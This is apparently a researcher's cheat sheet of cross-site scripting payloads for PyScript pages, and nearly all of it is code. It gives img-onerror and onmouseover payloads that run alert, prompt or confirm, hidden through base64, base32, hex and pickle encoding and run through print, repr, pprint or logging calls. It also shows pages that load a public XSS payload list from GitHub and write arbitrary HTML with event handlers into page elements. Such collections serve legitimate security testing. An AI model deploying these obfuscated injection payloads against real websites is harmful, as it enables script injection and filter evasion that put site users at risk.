What is PyScript ?

PyScript is a Pythonic alternative to Scratch, JSFiddle, and other “easy to use” programming frameworks, with the goal of making the web a friendly, hackable place where anyone can author interesting and interactive applications.

Reference: PyScript Git Repo

Note: Only modules in Python Standard Library are available.

PyScript Hello World

<html>
  <head>
    <link rel="stylesheet" href="https://pyscript.net/alpha/pyscript.css" />
    <script defer src="https://pyscript.net/alpha/pyscript.js"></script>
  </head>
  <body> <py-script> print('Hello, World!') </py-script> </body>
</html>

Reference: PyScript Hello World

XSS PoC Using PyScript

Note: Uncomment any one line, not the HTML IMG tag ones.

<html>
  <head>
    <link rel="stylesheet" href="https://pyscript.net/alpha/pyscript.css" />
    <script defer src="https://pyscript.net/alpha/pyscript.js"></script>
  </head>
  <body> 
  	<py-script>
  		<!-- <img src=x onerror=alert(document.domain)> -->
		<!-- print(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8')) -->
		<!-- print(__import__('base64').b32decode('HRUW2ZZAONZGGPLYEBXW4ZLSOJXXEPLBNRSXE5BIMRXWG5LNMVXHILTEN5WWC2LOFE7A====').decode('utf-8')) -->
		<!-- print(__import__('base64').b16decode('3C696D67207372633D78206F6E6572726F723D616C65727428646F63756D656E742E646F6D61696E293E').decode('utf-8')) -->
		<!-- repr(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8')) -->
		<!-- repr(__import__('base64').b32decode('HRUW2ZZAONZGGPLYEBXW4ZLSOJXXEPLBNRSXE5BIMRXWG5LNMVXHILTEN5WWC2LOFE7A====').decode('utf-8')) -->
		<!-- repr(__import__('base64').b16decode('3C696D67207372633D78206F6E6572726F723D616C65727428646F63756D656E742E646F6D61696E293E').decode('utf-8')) -->

		<!-- <img src=x onerror=prompt(Date())> -->
		<!-- print(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPXByb21wdChEYXRlKCkpPg==').decode('utf-8')) -->
		<!-- print(__import__('base64').b32decode('HRUW2ZZAONZGGPLYEBXW4ZLSOJXXEPLQOJXW24DUFBCGC5DFFAUSSPQ=').decode('utf-8')) -->
		<!-- print(__import__('base64').b16decode('3C696D67207372633D78206F6E6572726F723D70726F6D707428446174652829293E').decode('utf-8')) -->
		<!-- repr(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPXByb21wdChEYXRlKCkpPg==').decode('utf-8')) -->
		<!-- repr(__import__('base64').b32decode('HRUW2ZZAONZGGPLYEBXW4ZLSOJXXEPLQOJXW24DUFBCGC5DFFAUSSPQ=').decode('utf-8')) -->
		<!-- repr(__import__('base64').b16decode('3C696D67207372633D78206F6E6572726F723D70726F6D707428446174652829293E').decode('utf-8')) -->

	</py-script> </body>
</html>

Just the Python onliners.

Write <img src=x onerror=alert(document.domain)>:

print(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8'))
print(__import__('base64').b32decode('HRUW2ZZAONZGGPLYEBXW4ZLSOJXXEPLBNRSXE5BIMRXWG5LNMVXHILTEN5WWC2LOFE7A====').decode('utf-8'))
print(__import__('base64').b16decode('3C696D67207372633D78206F6E6572726F723D616C65727428646F63756D656E742E646F6D61696E293E').decode('utf-8'))
repr(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8'))
repr(__import__('base64').b32decode('HRUW2ZZAONZGGPLYEBXW4ZLSOJXXEPLBNRSXE5BIMRXWG5LNMVXHILTEN5WWC2LOFE7A====').decode('utf-8'))
repr(__import__('base64').b16decode('3C696D67207372633D78206F6E6572726F723D616C65727428646F63756D656E742E646F6D61696E293E').decode('utf-8'))

Write <img src=x onerror=prompt(Date())>:

print(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPXByb21wdChEYXRlKCkpPg==').decode('utf-8'))
print(__import__('base64').b32decode('HRUW2ZZAONZGGPLYEBXW4ZLSOJXXEPLQOJXW24DUFBCGC5DFFAUSSPQ=').decode('utf-8'))
print(__import__('base64').b16decode('3C696D67207372633D78206F6E6572726F723D70726F6D707428446174652829293E').decode('utf-8'))
repr(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPXByb21wdChEYXRlKCkpPg==').decode('utf-8'))
repr(__import__('base64').b32decode('HRUW2ZZAONZGGPLYEBXW4ZLSOJXXEPLQOJXW24DUFBCGC5DFFAUSSPQ=').decode('utf-8'))
repr(__import__('base64').b16decode('3C696D67207372633D78206F6E6572726F723D70726F6D707428446174652829293E').decode('utf-8'))

Some other alternatives to print() are:

  • repr()
  • __import__('pprint').pprint()
  • __import__('pprint').PrettyPrinter().pprint()

Caveats:

  • The XSS payload is enclosed within single quotes, but still works!.

Payloads using pprint()

__import__('pprint').pprint(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPXByb21wdChEYXRlKCkpPg==').decode('utf-8'))
__import__('pprint').PrettyPrinter().pprint(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPXByb21wdChEYXRlKCkpPg==').decode('utf-8'))

Screenshot showing repr() and pprint() payload:

repr-pprint

Payloads using logging module:

# <img src=x onerror=alert(document.domain)>
__import__('logging').warning(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8'))
__import__('logging').fatal(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8'))
__import__('logging').error(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8'))
__import__('logging').critical(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8'))
__import__('logging').exception(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8'))

Drawback of using logging module - prepends the payload with following strings with respect to the logging function used.

  • WARNING:root: - logging.warning()
  • CRITICAL:root: - logging.fatal() or logging.critical()
  • ERROR:root: - logging.error() or logging.exception()
    • In case of logging.exception(), the string NoneType: None is appended to the payload as well.

Example:

>>> __import__('logging').warning(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8'))
WARNING:root:<img src=x onerror=alert(document.domain)>

>>> __import__('logging').fatal(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8'))
CRITICAL:root:<img src=x onerror=alert(document.domain)>

>>> __import__('logging').error(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8'))
ERROR:root:<img src=x onerror=alert(document.domain)>

>>> __import__('logging').critical(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8'))
CRITICAL:root:<img src=x onerror=alert(document.domain)>

>>> __import__('logging').exception(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8'))
ERROR:root:<img src=x onerror=alert(document.domain)>
NoneType: None

Screenshot for logging.warning():

Logging Warning

Pickled Payload:

XSS Payload: <img src=z onerror=prompt(document.domain>

Pickling and base64 encoding pickled payload:

>> import pickle, codecs
>> codecs.encode(pickle.dumps("<img src=z onerror=prompt(document.domain>"), "base64").decode()

gASVLwAAAAAAAACMKzxpbWcgc3JjPXogb25lcnJvcj1wcm9tcHQoZG9jdW1lbnQuZG9tYWluKT6U\nLg==\n

PyScript payload to unpickle the XSS payload.

print(__import__('pickle').loads(__import__('codecs').decode('gASVLwAAAAAAAACMKzxpbWcgc3JjPXogb25lcnJvcj1wcm9tcHQoZG9jdW1lbnQuZG9tYWluKT6U\nLg==\n'.encode(), "base64")))

Ref: https://localcoder.org/how-to-pickle-and-unpickle-to-portable-string-in-python-3

Hex Enoded Payload

XSS Payload: <img src=z onerror=confirm(document.domain)>

Hex Encode the Payload:

>> import binascii
>> binascii.hexlify(b'<img src=z onerror=confirm(document.domain)>')
b'3c696d67207372633d7a206f6e6572726f723d636f6e6669726d28646f63756d656e742e646f6d61696e293e'

or 
>> __import__('binascii').hexlify(b'<img src=z onerror=confirm(document.domain)>')
b'3c696d67207372633d7a206f6e6572726f723d636f6e6669726d28646f63756d656e742e646f6d61696e293e'

PyScript payload to convert the hex payload to ASCII and run it.

print(__import__('binascii').unhexlify(b'3c696d67207372633d7a206f6e6572726f723d636f6e6669726d28646f63756d656e742e646f6d61696e293e').decode())

Payloads Without print(), repr() or other similar functions.

The payloads can be used without print(), repr() or other similar functions.


# <img src=z onerror=confirm(document.domain)>
__import__('binascii').unhexlify(b'3c696d67207372633d7a206f6e6572726f723d636f6e6669726d28646f63756d656e742e646f6d61696e293e').decode()

# <img src=z onerror=prompt(document.domain>
__import__('pickle').loads(__import__('codecs').decode('gASVLwAAAAAAAACMKzxpbWcgc3JjPXogb25lcnJvcj1wcm9tcHQoZG9jdW1lbnQuZG9tYWluKT6U\nLg==\n'.encode(), "base64"))

# <img src=x onerror=prompt(Date())>
__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPXByb21wdChEYXRlKCkpPg==').decode('utf-8')

# <img src=x onerror=alert(document.domain)>
__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8')
__import__('base64').b32decode('HRUW2ZZAONZGGPLYEBXW4ZLSOJXXEPLBNRSXE5BIMRXWG5LNMVXHILTEN5WWC2LOFE7A====').decode('utf-8')
__import__('base64').b16decode('3C696D67207372633D78206F6E6572726F723D616C65727428646F63756D656E742E646F6D61696E293E').decode('utf-8')

# <img src=x onerror=prompt(Date())>
__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPXByb21wdChEYXRlKCkpPg==').decode('utf-8')
__import__('base64').b32decode('HRUW2ZZAONZGGPLYEBXW4ZLSOJXXEPLQOJXW24DUFBCGC5DFFAUSSPQ=').decode('utf-8')
__import__('base64').b16decode('3C696D67207372633D78206F6E6572726F723D70726F6D707428446174652829293E').decode('utf-8')

Get Your XSS Payload From Somewhere Else

<html>
  <head>
    <link rel="stylesheet" href="https://pyscript.net/alpha/pyscript.css" />
    <script defer src="https://pyscript.net/alpha/pyscript.js"></script>
  </head>
  <body> 

			<py-script>
from pyodide.http import open_url
url = ("https://raw.githubusercontent.com/payloadbox/xss-payload-list/master/Intruder/xss-payload-list.txt")
open_url(url).read()
		</py-script> </body>
</html>

or

<html>
  <head>
    <link rel="stylesheet" href="https://pyscript.net/alpha/pyscript.css" />
    <script defer src="https://pyscript.net/alpha/pyscript.js"></script>
  </head>
  <body> 
	<py-script>
__import__('pyodide.http').open_url("https://raw.githubusercontent.com/payloadbox/xss-payload-list/master/Intruder/xss-payload-list.txt").read()
	</py-script> </body>
</html>

Other interesting information regarding PyScript:

Platform:

__import__('platform').uname()

Output: uname_result(system='Emscripten', node='emscripten', release='1.0', version='#1', machine='wasm32')

Return the ‘login name’ of the user.

__import__('getpass').getuser()

Output: web_user

Machine Type

__import__('platform').machine()

Output: wasm32

Write to an HTML Element from PyScript

If there is an HTML element with id SampleElement, we can write to this element as follows:

Method 1:

pyscript.write("SampleElement1", "Yeah We Can Do This!")`

Method 2:

elem = Element("SampleElement2")
elem.write("We can Also Do This !")

Example:

<html>
  <head>
    <link rel="stylesheet" href="https://pyscript.net/alpha/pyscript.css" />
    <script defer src="https://pyscript.net/alpha/pyscript.js"></script>
  </head>
  <body> 
	  	<div id="SampleElement1" class="font-mono"></div>
    	<div id="SampleElement2" class="font-mono"></div>
		
		<py-script>
pyscript.write("SampleElement1", "Yeah We Can Do This!")

elem = Element("SampleElement2")
elem.write("We can do this as well!")
		</py-script> </body>
</html>

Modify HTML Element

Writing Arbitrary HTML Within an Element:

In example below, and H1 tag is being added within the DIV tag with id SampleEement. The H1 tag has the onmouseover event as well.

<html>
  <head>
    <link rel="stylesheet" href="https://pyscript.net/alpha/pyscript.css" />
    <script defer src="https://pyscript.net/alpha/pyscript.js"></script>
  </head>
  <body> 
    	<div id="SampleElement" class="font-mono"></div>
		<py-script>
elem = Element("SampleElement")
<!-- Write following HTML code as inner HTML to element with id=SampleElement :  <h1 onmouseover=confirm(document.domain)>WRITING ARBITRARY HTML</h1> -->
elem.write(__import__('base64').b64decode('PGgxIG9ubW91c2VvdmVyPWNvbmZpcm0oZG9jdW1lbnQuZG9tYWluKT5XUklUSU5HIEFSQklUUkFSWSBIVE1MPC9oMT4=').decode())
		</py-script> </body>
</html>

or

<html>
  <head>
    <link rel="stylesheet" href="https://pyscript.net/alpha/pyscript.css" />
    <script defer src="https://pyscript.net/alpha/pyscript.js"></script>
  </head>
  <body> 
    	<div id="SampleElement" class="font-mono"></div>
		<py-script>

<!-- Write following HTML code as inner HTML to element with id=SampleElement :  <h1 onmouseover=confirm(document.domain)>WRITING ARBITRARY HTML</h1> -->
pyscript.write("SampleElement", __import__('base64').b64decode('PGgxIG9ubW91c2VvdmVyPWNvbmZpcm0oZG9jdW1lbnQuZG9tYWluKT5XUklUSU5HIEFSQklUUkFSWSBIVE1MPC9oMT4=').decode())
		</py-script> </body>
</html>

Writing Arbitrary HTML